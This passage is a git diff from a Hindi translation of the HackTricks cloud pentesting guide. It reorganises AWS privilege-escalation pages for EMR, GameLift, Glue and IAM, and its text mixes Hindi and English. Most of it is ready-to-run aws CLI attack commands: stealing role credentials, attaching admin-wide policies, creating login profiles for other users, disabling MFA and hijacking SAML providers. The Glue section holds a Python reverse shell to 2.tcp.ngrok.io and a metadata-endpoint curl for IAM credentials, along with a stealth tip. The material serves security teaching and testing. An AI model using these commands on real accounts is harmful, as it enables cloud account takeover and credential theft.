-ध्यान दें कि ऐसा करने के लिए आपको **खाते में आयातित कुछ ssh प्राइवेट की के बारे में जानना होगा** या एक आयात करना होगा, और **मास्टर नोड में पोर्ट 22 खोलने में सक्षम होना होगा** (आप इसे `--ec2-attributes` के अंदर `EmrManagedMasterSecurityGroup` और/या `ServiceAccessSecurityGroup` के गुणों के साथ कर सकते हैं)।
-```bash
-# Import EC2 ssh key (you will need extra permissions for this)
-ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
-chmod 400 /tmp/sshkey
-base64 /tmp/sshkey.pub > /tmp/pub.key
-aws ec2 import-key-pair \
---key-name "privesc" \
---public-key-material file:///tmp/pub.key
-
-
-aws emr create-cluster \
---release-label emr-5.15.0 \
---instance-type m4.large \
---instance-count 1 \
---service-role EMR_DefaultRole \
---ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
-
-# Wait 1min and connect via ssh to an EC2 instance of the cluster)
-aws emr describe-cluster --cluster-id 
-# In MasterPublicDnsName you can find the DNS to connect to the master instance
-## You cna also get this info listing EC2 instances
-```
-ध्यान दें कि `--service-role` में एक **EMR भूमिका** निर्दिष्ट की गई है और `InstanceProfile` के अंदर `--ec2-attributes` में एक **ec2 भूमिका** निर्दिष्ट की गई है। हालांकि, यह तकनीक केवल EC2 भूमिका के क्रेडेंशियल्स चुराने की अनुमति देती है (क्योंकि आप ssh के माध्यम से कनेक्ट करेंगे) लेकिन EMR IAM भूमिका नहीं।
-
-**संभावित प्रभाव:** निर्दिष्ट EC2 सेवा भूमिका के लिए प्रिवेस्क।
-
-### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
-
-इन अनुमतियों के साथ, एक हमलावर **AWS कंसोल** में जा सकता है, एक नोटबुक बना सकता है और IAM भूमिका चुराने के लिए इसका उपयोग कर सकता है।
-
-> [!CAUTION]
-> भले ही आप मेरे परीक्षणों में नोटबुक इंस्टेंस से एक IAM भूमिका संलग्न करें, मैंने देखा कि मैं AWS प्रबंधित क्रेडेंशियल्स चुराने में सक्षम था और IAM भूमिका से संबंधित क्रेड्स नहीं।
-
-**संभावित प्रभाव:** AWS प्रबंधित भूमिका arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile के लिए प्रिवेस्क।
-
-### `elasticmapreduce:OpenEditorInConsole`
-
-बस इस अनुमति के साथ, एक हमलावर **Jupyter Notebook तक पहुंच प्राप्त कर सकेगा और इससे संबंधित IAM भूमिका चुरा सकेगा।**\
-नोटबुक का URL है `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/`
-
-> [!CAUTION]
-> भले ही आप मेरे परीक्षणों में नोटबुक इंस्टेंस से एक IAM भूमिका संलग्न करें, मैंने देखा कि मैं AWS प्रबंधित क्रेडेंशियल्स चुराने में सक्षम था और IAM भूमिका से संबंधित क्रेड्स नहीं।
-
-**संभावित प्रभाव:** AWS प्रबंधित भूमिका arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile के लिए प्रिवेस्क।
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md
new file mode 100644
index 000000000..d60387777
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md
@@ -0,0 +1,62 @@
+# AWS - EMR Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EMR
+
+EMR के बारे में अधिक **जानकारी** यहाँ:
+
+{{#ref}}
+../../aws-services/aws-emr-enum.md
+{{#endref}}
+
+### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
+
+इन permissions वाले attacker **run a new EMR cluster attaching EC2 roles** चला सकता है और इसके credentials चुराने की कोशिश कर सकता है।\
+ध्यान दें कि ऐसा करने के लिए आपको **know some ssh priv key imported in the account** या एक key import करनी होगी, और **open port 22 in the master node** करने में सक्षम होना चाहिए (आप यह `--ec2-attributes` के अंदर `EmrManagedMasterSecurityGroup` और/या `ServiceAccessSecurityGroup` के attributes के साथ कर सकते हैं)।
+```bash
+# Import EC2 ssh key (you will need extra permissions for this)
+ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
+chmod 400 /tmp/sshkey
+base64 /tmp/sshkey.pub > /tmp/pub.key
+aws ec2 import-key-pair \
+--key-name "privesc" \
+--public-key-material file:///tmp/pub.key
+
+
+aws emr create-cluster \
+--release-label emr-5.15.0 \
+--instance-type m4.large \
+--instance-count 1 \
+--service-role EMR_DefaultRole \
+--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
+
+# Wait 1min and connect via ssh to an EC2 instance of the cluster)
+aws emr describe-cluster --cluster-id 
+# In MasterPublicDnsName you can find the DNS to connect to the master instance
+## You cna also get this info listing EC2 instances
+```
+Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role.
+
+**Potential Impact:** निर्दिष्ट EC2 service role पर Privesc
+
+### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
+
+इन permissions के साथ एक हमलावर **AWS console** पर जाकर Notebook बना सकता है और इसे access करके IAM Role चुरा सकता है।
+
+> [!CAUTION]
+> मेरे परीक्षणों में, भले ही मैंने notebook instance पर एक IAM role attach किया था, मैंने देखा कि मैं AWS managed credentials चुरा पाने में सफल था और IAM role से संबंधित creds नहीं।
+
+**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
+
+### `elasticmapreduce:OpenEditorInConsole`
+
+Just with this permission an attacker will be able to access the **Jupyter Notebook and steal the IAM role** associated to it.\
+The URL of the notebook is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/`
+
+> [!CAUTION]
+> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related
+
+**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
deleted file mode 100644
index 4e16f8bba..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# AWS - Gamelift
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### `gamelift:RequestUploadCredentials`
-
-इस अनुमति के साथ, एक हमलावर **नए गेम बिल्ड फ़ाइलों को Amazon GameLift के Amazon S3 पर अपलोड करते समय उपयोग के लिए क्रेडेंशियल्स का एक ताजा सेट प्राप्त कर सकता है**। यह **S3 अपलोड क्रेडेंशियल्स** लौटाएगा।
-```bash
-aws gamelift request-upload-credentials \
---build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
-```
-## संदर्भ
-
-- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md
new file mode 100644
index 000000000..41d668dba
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md
@@ -0,0 +1,16 @@
+# AWS - Gamelift
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### `gamelift:RequestUploadCredentials`
+
+इस अनुमति के साथ attacker Amazon GameLift's Amazon S3 पर गेम बिल्ड फाइलों का नया सेट अपलोड करने के लिए उपयोग हेतु एक **ताज़ा क्रेडेंशियल सेट** प्राप्त कर सकता है। यह **S3 upload credentials** लौटाएगा।
+```bash
+aws gamelift request-upload-credentials \
+--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
+```
+## संदर्भ
+
+- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
deleted file mode 100644
index 44467991f..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
+++ /dev/null
@@ -1,86 +0,0 @@
-# AWS - Glue Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## glue
-
-### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
-
-इन अनुमतियों वाले उपयोगकर्ता **एक नया AWS Glue विकास अंत बिंदु सेटअप कर सकते हैं**, **Glue द्वारा अनुमेय एक मौजूदा सेवा भूमिका को इस अंत बिंदु पर विशिष्ट अनुमतियों के साथ असाइन करते हैं**।
-
-सेटअप के बाद, **हमलावर अंत बिंदु के उदाहरण में SSH कर सकता है**, और असाइन की गई भूमिका के IAM क्रेडेंशियल्स चुरा सकता है:
-```bash
-# Create endpoint
-aws glue create-dev-endpoint --endpoint-name  \
---role-arn  \
---public-key file:///ssh/key.pub
-
-# Get the public address of the instance
-## You could also use get-dev-endpoints
-aws glue get-dev-endpoint --endpoint-name privesctest
-
-# SSH with the glue user
-ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
-```
-गोपनीयता के उद्देश्य के लिए, Glue वर्चुअल मशीन के अंदर IAM क्रेडेंशियल्स का उपयोग करने की सिफारिश की जाती है।
-
-**संभावित प्रभाव:** निर्दिष्ट Glue सेवा भूमिका तक प्रिवेस्क।
-
-### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
-
-इस अनुमति वाले उपयोगकर्ता **एक मौजूदा Glue विकास** अंत बिंदु की SSH कुंजी को **बदल सकते हैं, जिससे SSH पहुंच सक्षम होती है**। इससे हमलावर को अंत बिंदु की संलग्न भूमिका के विशेषाधिकारों के साथ आदेश निष्पादित करने की अनुमति मिलती है:
-```bash
-# Change public key to connect
-aws glue --endpoint-name target_endpoint \
---public-key file:///ssh/key.pub
-
-# Get the public address of the instance
-## You could also use get-dev-endpoints
-aws glue get-dev-endpoint --endpoint-name privesctest
-
-# SSH with the glue user
-ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
-```
-**संभावित प्रभाव:** ग्लू सेवा भूमिका में प्रिवेस्क।
-
-### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
-
-उपयोगकर्ता जिनके पास **`iam:PassRole`** है, जो **`glue:CreateJob` या `glue:UpdateJob`** के साथ मिलकर, और **`glue:StartJobRun` या `glue:CreateTrigger`** में से किसी एक के साथ मिलकर **AWS Glue जॉब** बना या अपडेट कर सकते हैं, किसी भी **ग्लू सेवा खाता** को संलग्न कर सकते हैं, और जॉब के निष्पादन को प्रारंभ कर सकते हैं। जॉब की क्षमताओं में मनमाने Python कोड को चलाना शामिल है, जिसका उपयोग एक रिवर्स शेल स्थापित करने के लिए किया जा सकता है। इस रिवर्स शेल का उपयोग **IAM क्रेडेंशियल** को निकालने के लिए किया जा सकता है जो ग्लू जॉब से जुड़ी भूमिका के हैं, जिससे उस भूमिका के अनुमतियों के आधार पर संभावित अनधिकृत पहुंच या क्रियाएं हो सकती हैं:
-```bash
-# Content of the python script saved in s3:
-#import socket,subprocess,os
-#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
-#s.connect(("2.tcp.ngrok.io",11216))
-#os.dup2(s.fileno(),0)
-#os.dup2(s.fileno(),1)
-#os.dup2(s.fileno(),2)
-#p=subprocess.call(["/bin/sh","-i"])
-#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
-
-
-# A Glue role with admin access was created
-aws glue create-job \
---name privesctest \
---role arn:aws:iam::93424712358:role/GlueAdmin \
---command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'
-
-# You can directly start the job
-aws glue start-job-run --job-name privesctest
-# Or you can create a trigger to start it
-aws glue create-trigger --name triggerprivesc --type SCHEDULED \
---actions '[{"JobName": "privesctest"}]' --start-on-creation \
---schedule "0/5 * * * * *"  #Every 5mins, feel free to change
-```
-**संभावित प्रभाव:** निर्दिष्ट ग्लू सेवा भूमिका के लिए प्रिवेस्क।
-
-### `glue:UpdateJob`
-
-केवल अपडेट अनुमति के साथ, एक हमलावर पहले से जुड़े भूमिका के IAM क्रेडेंशियल्स चुरा सकता है।
-
-**संभावित प्रभाव:** जुड़े हुए ग्लू सेवा भूमिका के लिए प्रिवेस्क।
-
-## संदर्भ
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md
new file mode 100644
index 000000000..b8ee02da3
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md
@@ -0,0 +1,86 @@
+# AWS - Glue Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## glue
+
+### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
+
+इन permissions वाले उपयोगकर्ता **एक नया AWS Glue development endpoint सेट अप कर सकते हैं**, और **एक existing service role (जो Glue द्वारा assume की जा सकती है) इस endpoint को असाइन कर सकते हैं** जिसमें specific permissions हों।
+
+Setup के बाद, **हमलावर endpoint के instance में SSH कर सकता है**, और assigned role के IAM credentials चुरा सकता है:
+```bash
+# Create endpoint
+aws glue create-dev-endpoint --endpoint-name  \
+--role-arn  \
+--public-key file:///ssh/key.pub
+
+# Get the public address of the instance
+## You could also use get-dev-endpoints
+aws glue get-dev-endpoint --endpoint-name privesctest
+
+# SSH with the glue user
+ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
+```
+For stealth purpose, it's recommended to use the IAM credentials from inside the Glue virtual machine.
+
+**Potential Impact:** निर्दिष्ट glue service role पर Privesc।
+
+### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
+
+इस अनुमति वाले उपयोगकर्ता **एक मौजूदा Glue development** endpoint की SSH key को बदल सकते हैं, **इसके लिए SSH access सक्षम करके**। इससे हमलावर endpoint से जुड़े role के privileges के साथ कमांड चला सकता है:
+```bash
+# Change public key to connect
+aws glue --endpoint-name target_endpoint \
+--public-key file:///ssh/key.pub
+
+# Get the public address of the instance
+## You could also use get-dev-endpoints
+aws glue get-dev-endpoint --endpoint-name privesctest
+
+# SSH with the glue user
+ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
+```
+**संभावित प्रभाव:** Privesc to the glue service role used.
+
+### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
+
+ऐसे उपयोगकर्ता जिनके पास **`iam:PassRole`** है और साथ में **`glue:CreateJob` या `glue:UpdateJob`** में से कोई एक, और साथ में **`glue:StartJobRun` या `glue:CreateTrigger`** में से कोई एक अनुमति है, वे किसी भी **Glue service account** को जोड़कर **AWS Glue job बना या अपडेट कर सकते हैं**, और उस job को प्रारंभ कर सकते हैं। उस job में मनमाना Python कोड चलाने की क्षमता होती है, जिसका दुरुपयोग करके reverse shell स्थापित किया जा सकता है। यह reverse shell फिर Glue job से जुड़ी role के **IAM credential**s को exfiltrate करने के लिए उपयोग किया जा सकता है, जो उस role की permissions के आधार पर संभावित अनधिकृत पहुँच या क्रियाओं का कारण बन सकता है:
+```bash
+# Content of the python script saved in s3:
+#import socket,subprocess,os
+#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+#s.connect(("2.tcp.ngrok.io",11216))
+#os.dup2(s.fileno(),0)
+#os.dup2(s.fileno(),1)
+#os.dup2(s.fileno(),2)
+#p=subprocess.call(["/bin/sh","-i"])
+#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
+
+
+# A Glue role with admin access was created
+aws glue create-job \
+--name privesctest \
+--role arn:aws:iam::93424712358:role/GlueAdmin \
+--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'
+
+# You can directly start the job
+aws glue start-job-run --job-name privesctest
+# Or you can create a trigger to start it
+aws glue create-trigger --name triggerprivesc --type SCHEDULED \
+--actions '[{"JobName": "privesctest"}]' --start-on-creation \
+--schedule "0/5 * * * * *"  #Every 5mins, feel free to change
+```
+**संभावित प्रभाव:** निर्दिष्ट glue service role पर Privesc।
+
+### `glue:UpdateJob`
+
+सिर्फ update permission होने पर एक attacker पहले से attached role के IAM Credentials चुरा सकता है।
+
+**संभावित प्रभाव:** attached glue service role पर Privesc।
+
+## संदर्भ
+
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
deleted file mode 100644
index 8b0a9cd28..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
+++ /dev/null
@@ -1,231 +0,0 @@
-# AWS - IAM Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-IAM के बारे में अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-### **`iam:CreatePolicyVersion`**
-
-एक नए IAM नीति संस्करण को बनाने की क्षमता प्रदान करता है, `iam:SetDefaultPolicyVersion` अनुमति की आवश्यकता को बायपास करते हुए `--set-as-default` ध्वज का उपयोग करके। यह कस्टम अनुमतियों को परिभाषित करने की अनुमति देता है।
-
-**Exploit Command:**
-```bash
-aws iam create-policy-version --policy-arn  \
---policy-document file:///path/to/administrator/policy.json --set-as-default
-```
-**प्रभाव:** किसी भी संसाधन पर किसी भी क्रिया की अनुमति देकर सीधे विशेषाधिकार बढ़ाता है।
-
-### **`iam:SetDefaultPolicyVersion`**
-
-IAM नीति के डिफ़ॉल्ट संस्करण को किसी अन्य मौजूदा संस्करण में बदलने की अनुमति देता है, यदि नए संस्करण में अधिक अनुमतियाँ हैं तो विशेषाधिकार बढ़ाने की संभावना है।
-
-**Bash कमांड:**
-```bash
-aws iam set-default-policy-version --policy-arn  --version-id v2
-```
-**प्रभाव:** अधिक अनुमतियों को सक्षम करके अप्रत्यक्ष विशेषाधिकार वृद्धि।
-
-### **`iam:CreateAccessKey`**
-
-किसी अन्य उपयोगकर्ता के लिए एक्सेस कुंजी आईडी और गुप्त एक्सेस कुंजी बनाने की अनुमति देता है, जिससे संभावित विशेषाधिकार वृद्धि हो सकती है।
-
-**शोषण:**
-```bash
-aws iam create-access-key --user-name 
-```
-**प्रभाव:** किसी अन्य उपयोगकर्ता की विस्तारित अनुमतियों को ग्रहण करके सीधे विशेषाधिकार वृद्धि।
-
-### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
-
-लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS कंसोल लॉगिन के लिए पासवर्ड सेट करना शामिल है, जो सीधे विशेषाधिकार वृद्धि की ओर ले जाता है।
-
-**निर्माण के लिए शोषण:**
-```bash
-aws iam create-login-profile --user-name target_user --no-password-reset-required \
---password ''
-```
-**अपडेट के लिए शोषण:**
-```bash
-aws iam update-login-profile --user-name target_user --no-password-reset-required \
---password ''
-```
-**प्रभाव:** "किसी भी" उपयोगकर्ता के रूप में लॉग इन करके सीधे विशेषाधिकार वृद्धि।
-
-### **`iam:UpdateAccessKey`**
-
-एक अक्षम एक्सेस कुंजी को सक्षम करने की अनुमति देता है, यदि हमलावर के पास अक्षम कुंजी है तो यह अनधिकृत पहुंच की संभावना पैदा कर सकता है।
-
-**शोषण:**
-```bash
-aws iam update-access-key --access-key-id  --status Active --user-name 
-```
-**प्रभाव:** एक्सेस कीज़ को फिर से सक्रिय करके सीधे विशेषाधिकार वृद्धि।
-
-### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
-
-विशिष्ट AWS सेवाओं (जैसे, CodeCommit, Amazon Keyspaces) के लिए क्रेडेंशियल बनाने या रीसेट करने की अनुमति देता है, संबंधित उपयोगकर्ता के अनुमतियों को विरासत में लेते हुए।
-
-**निर्माण के लिए शोषण:**
-```bash
-aws iam create-service-specific-credential --user-name  --service-name 
-```
-**रीसेट के लिए शोषण:**
-```bash
-aws iam reset-service-specific-credential --service-specific-credential-id 
-```
-**प्रभाव:** उपयोगकर्ता की सेवा अनुमतियों के भीतर सीधे विशेषाधिकार वृद्धि।
-
-### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
-
-उपयोगकर्ताओं या समूहों को नीतियों को संलग्न करने की अनुमति देता है, संलग्न नीति की अनुमतियों को विरासत में लेकर सीधे विशेषाधिकार बढ़ाता है।
-
-**उपयोगकर्ता के लिए शोषण:**
-```bash
-aws iam attach-user-policy --user-name  --policy-arn ""
-```
-**समूह के लिए शोषण:**
-```bash
-aws iam attach-group-policy --group-name  --policy-arn ""
-```
-**प्रभाव:** नीति द्वारा प्रदान की गई किसी भी चीज़ पर सीधे विशेषाधिकार वृद्धि।
-
-### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
-
-भूमिकाओं, उपयोगकर्ताओं, या समूहों पर नीतियों को संलग्न करने या रखने की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ प्रदान करके सीधे विशेषाधिकार वृद्धि संभव होती है।
-
-**भूमिका के लिए शोषण:**
-```bash
-aws iam attach-role-policy --role-name  --policy-arn ""
-```
-**इनलाइन नीतियों के लिए शोषण:**
-```bash
-aws iam put-user-policy --user-name  --policy-name "" \
---policy-document "file:///path/to/policy.json"
-
-aws iam put-group-policy --group-name  --policy-name "" \
---policy-document file:///path/to/policy.json
-
-aws iam put-role-policy --role-name  --policy-name "" \
---policy-document file:///path/to/policy.json
-```
-आप एक नीति का उपयोग कर सकते हैं जैसे:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Action": ["*"],
-"Resource": ["*"]
-}
-]
-}
-```
-**प्रभाव:** नीतियों के माध्यम से अनुमतियों को जोड़कर सीधे विशेषाधिकार वृद्धि।
-
-### **`iam:AddUserToGroup`**
-
-IAM समूह में स्वयं को जोड़ने की अनुमति देता है, समूह की अनुमतियों को विरासत में लेकर विशेषाधिकार बढ़ाता है।
-
-**शोषण:**
-```bash
-aws iam add-user-to-group --group-name  --user-name 
-```
-**प्रभाव:** समूह की अनुमतियों के स्तर तक सीधे विशेषाधिकार वृद्धि।
-
-### **`iam:UpdateAssumeRolePolicy`**
-
-एक भूमिका के असुमे भूमिका नीति दस्तावेज़ को बदलने की अनुमति देता है, भूमिका और इसके संबंधित अनुमतियों के अधिग्रहण को सक्षम बनाता है।
-
-**शोषण:**
-```bash
-aws iam update-assume-role-policy --role-name  \
---policy-document file:///path/to/assume/role/policy.json
-```
-जहाँ नीति निम्नलिखित की तरह दिखती है, जो उपयोगकर्ता को भूमिका ग्रहण करने की अनुमति देती है:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Allow",
-"Action": "sts:AssumeRole",
-"Principal": {
-"AWS": "$USER_ARN"
-}
-}
-]
-}
-```
-**प्रभाव:** किसी भी भूमिका की अनुमतियों को ग्रहण करके सीधे विशेषाधिकार वृद्धि।
-
-### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
-
-कोडकमिट के लिए प्रमाणीकरण के लिए SSH सार्वजनिक कुंजी अपलोड करने और MFA उपकरणों को निष्क्रिय करने की अनुमति देता है, जिससे संभावित अप्रत्यक्ष विशेषाधिकार वृद्धि हो सकती है।
-
-**SSH कुंजी अपलोड के लिए शोषण:**
-```bash
-aws iam upload-ssh-public-key --user-name  --ssh-public-key-body 
-```
-**MFA निष्क्रियकरण के लिए शोषण:**
-```bash
-aws iam deactivate-mfa-device --user-name  --serial-number 
-```
-**प्रभाव:** कोडकमिट एक्सेस सक्षम करके या MFA सुरक्षा को निष्क्रिय करके अप्रत्यक्ष विशेषाधिकार वृद्धि।
-
-### **`iam:ResyncMFADevice`**
-
-MFA डिवाइस के पुनर्संक्रमण की अनुमति देता है, जो संभावित रूप से MFA सुरक्षा में हेरफेर करके अप्रत्यक्ष विशेषाधिकार वृद्धि की ओर ले जा सकता है।
-
-**बाश कमांड:**
-```bash
-aws iam resync-mfa-device --user-name  --serial-number  \
---authentication-code1  --authentication-code2 
-```
-**प्रभाव:** MFA उपकरणों को जोड़ने या हेरफेर करके अप्रत्यक्ष विशेषाधिकार वृद्धि।
-
-### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-
-इन अनुमतियों के साथ आप **SAML कनेक्शन के XML मेटाडेटा को बदल सकते हैं**। फिर, आप **SAML संघ** का दुरुपयोग करके **किसी भी भूमिका के साथ लॉगिन** कर सकते हैं जो इसे **विश्वास** करती है।
-
-ध्यान दें कि ऐसा करने पर **वैध उपयोगकर्ता लॉगिन नहीं कर पाएंगे**। हालाँकि, आप XML प्राप्त कर सकते हैं, इसलिए आप अपना डाल सकते हैं, लॉगिन कर सकते हैं और पिछले को फिर से कॉन्फ़िगर कर सकते हैं।
-```bash
-# List SAMLs
-aws iam list-saml-providers
-
-# Optional: Get SAML provider XML
-aws iam get-saml-provider --saml-provider-arn 
-
-# Update SAML provider
-aws iam update-saml-provider --saml-metadata-document  --saml-provider-arn 
-
-## Login impersonating roles that trust the SAML provider
-
-# Optional: Set the previous XML back
-aws iam update-saml-provider --saml-metadata-document  --saml-provider-arn 
-```
-> [!NOTE]
-> TODO: एक उपकरण जो SAML मेटाडेटा उत्पन्न करने और निर्दिष्ट भूमिका के साथ लॉगिन करने में सक्षम हो
-
-### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-
-(इस बारे में अनिश्चित) यदि एक हमलावर के पास ये **अनुमतियाँ** हैं, तो वह सभी भूमिकाओं में लॉगिन करने के लिए प्रदाता पर भरोसा करने वाले नए **थंबप्रिंट** को जोड़ सकता है।
-```bash
-# List providers
-aws iam list-open-id-connect-providers
-# Optional: Get Thumbprints used to not delete them
-aws iam get-open-id-connect-provider --open-id-connect-provider-arn 
-# Update Thumbprints (The thumbprint is always a 40-character string)
-aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn  --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
-```
-## संदर्भ
-
-- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
new file mode 100644
index 000000000..92612789f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -0,0 +1,235 @@
+# AWS - IAM Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+IAM के बारे में अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+### **`iam:CreatePolicyVersion`**
+
+यह नई IAM policy version बनाने की क्षमता देता है, `iam:SetDefaultPolicyVersion` permission की आवश्यकता को `--set-as-default` फ्लैग का उपयोग करके बायपास करते हुए। यह कस्टम permissions परिभाषित करने की अनुमति देता है।
+
+**Exploit Command:**
+```bash
+aws iam create-policy-version --policy-arn  \
+--policy-document file:///path/to/administrator/policy.json --set-as-default
+```
+**प्रभाव:** किसी भी resource पर किसी भी action की अनुमति देकर सीधे privileges बढ़ा देता है।
+
+### **`iam:SetDefaultPolicyVersion`**
+
+IAM policy के default version को किसी अन्य मौजूदा version में बदलने की अनुमति देता है, जो नए version में अधिक permissions होने पर privileges escalate कर सकता है।
+
+**Bash Command:**
+```bash
+aws iam set-default-policy-version --policy-arn  --version-id v2
+```
+**प्रभाव:** अधिक अनुमतियाँ सक्षम करने से अप्रत्यक्ष अधिकार वृद्धि।
+
+### **`iam:CreateAccessKey`**
+
